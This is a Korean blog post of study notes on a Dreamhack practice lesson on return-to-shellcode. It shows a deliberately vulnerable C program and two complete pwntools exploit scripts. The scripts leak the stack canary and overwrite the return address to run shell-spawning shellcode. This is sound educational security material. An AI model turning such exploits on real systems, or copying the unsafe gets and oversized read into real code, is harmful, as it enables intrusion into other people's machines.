https://learn.dreamhack.io/64#2
로그인 | Dreamhack
dreamhack.io
몰랐는데 문제풀이 전에 설명이 있는 형태였구나... 잘 만들어져 있네
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
다음 분석 내용을 보기 전 어떤 취약점이 있을지 찾아본다. 우선 buf의 크기는 0x50으로 설정되어 있다. 하지만 read(0, buf, 0x100)을 보면 buf 부분에 0x50보다 큰 0x100을 입력할 수 있다. 따라서 버퍼오버플로우가 가능할 수 있을 것 같다. 또 gets 함수에서도 buf에 값을 입력하는데 gets함수는 입력하는 문자열의 길이를 확인하지 않기 때문에 여기서도 버퍼오버플로우가 가능하다.
본 예제에서는 친절하게 buf의 주소와 buf와 rbp의 차이, 즉 buf에서 SFP까지의 거리를 알려준다.
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
실제로 다운로드 받은 파일 및 C코드는 미세하게 내용이 다른 것을 확인
취약점 탐색
1. buf의 주소
이 예제에서는 실습의 편의를 위해 buf 의 주소 및 rbp 와 buf 사이의 주소 차이를 알려줍니다.
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
코드를 살펴보면 스택 버퍼인 buf 에 총 두 번의 입력을 받습니다. 그런데 두 입력 모두에서 오버플로우가 발생한다는 것을 알 수 있습니다.
char buf[0x50];
read(0, buf, 0x100); // 0x50 < 0x100
gets(buf); // Unsafe function
이 취약점들을 이용해서 셸을 획득해야 합니다.
익스플로잇 시나리오🎬
1. 카나리 우회
두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료됩니다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 합니다.
첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것입니다.
카나리 릭🦜
스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야합니다. buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것입니다. 앞에서 구한 스택 프레임의 구조를 고려하여, 카나리를 구하도록 스크립트를 추가해봅시다.
![](https://blog.kakaocdn.net/dn/bUYiJu/btsL31eId9a/giWEt8E32UcKDDkC8wRQk1/img.png)
익스플로잇🎮
카나리를 구했으므로, 이제 buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게할 수 있습니다. context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있습니다. 전체 익스플로잇은 다음 장에서 소개합니다.
![](https://blog.kakaocdn.net/dn/bOvbgI/btsL3XXDUdW/ywv0Zn0RwPBWIuZ9bKMKf1/img.png)
p = process("./r2s")
p.recvuntil("buf:")
buf_addr = int(p.recvline()[:-1],16) # 2의 과정
slog("Address of buf", buf_addr)
p.recvuntil("$rbp:")
buf2sfp = int(p.recvline()) # 3의 과정 - buf부터 sfp까지의 거리
buf2cnry = buf2sfp - 0x8 # 3의 과정 - buf부터 카나리까지의 거리
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
payload = b"a" * (buf2cnry + 1) # 4의 과정 - 카나리릭( +1은 카나리의 널바이트 덮기 위해서)
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recv(7))
slog("Canary", canary)
sh = asm(shellcraft.sh()) # 5의 과정 - 쉘코드
payload = sh.ljust(buf2cnry, b"A") + p64(canary) + b"B"*0x8 + p64(buf_addr)
# 5의 과정 - 페이로드 작성
p.sendlineafter("Input:", payload) # 5의 과정 - 쉘획득
p.interactive()
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level = 'debug'
context.arch = "amd64"
p = process("./r2s")
e = ELF("./r2s")
shellcode = asm(shellcraft.sh())
# Get buf address
p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)
# Canary Leak
payload = b'A' * 0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recv(7))
slog("buf", buf)
slog("canary", canary)
# BOF
payload = shellcode
payload += b'A' * (88 - len(shellcode))
payload += p64(canary)
payload += b"A" * 8
payload += p64(buf)
p.sendlineafter("Input: ", payload)
p.interactive()
'시스템' 카테고리의 다른 글
Qemu 펌웨어 분석 환경 구축 (펌) (진행 중) (0) | 2025.02.04 |
---|---|
Nebula Level 10 (Race Condition) (0) | 2025.02.03 |
메모리 보호기법 Mitigation: NX & ASLR (펌) (0) | 2025.02.02 |
onone_gadget 설치 및 사용법 (펌) (0) | 2025.02.02 |
peda, pwndbg, gef 같이 쓰기 (펌) (0) | 2025.02.02 |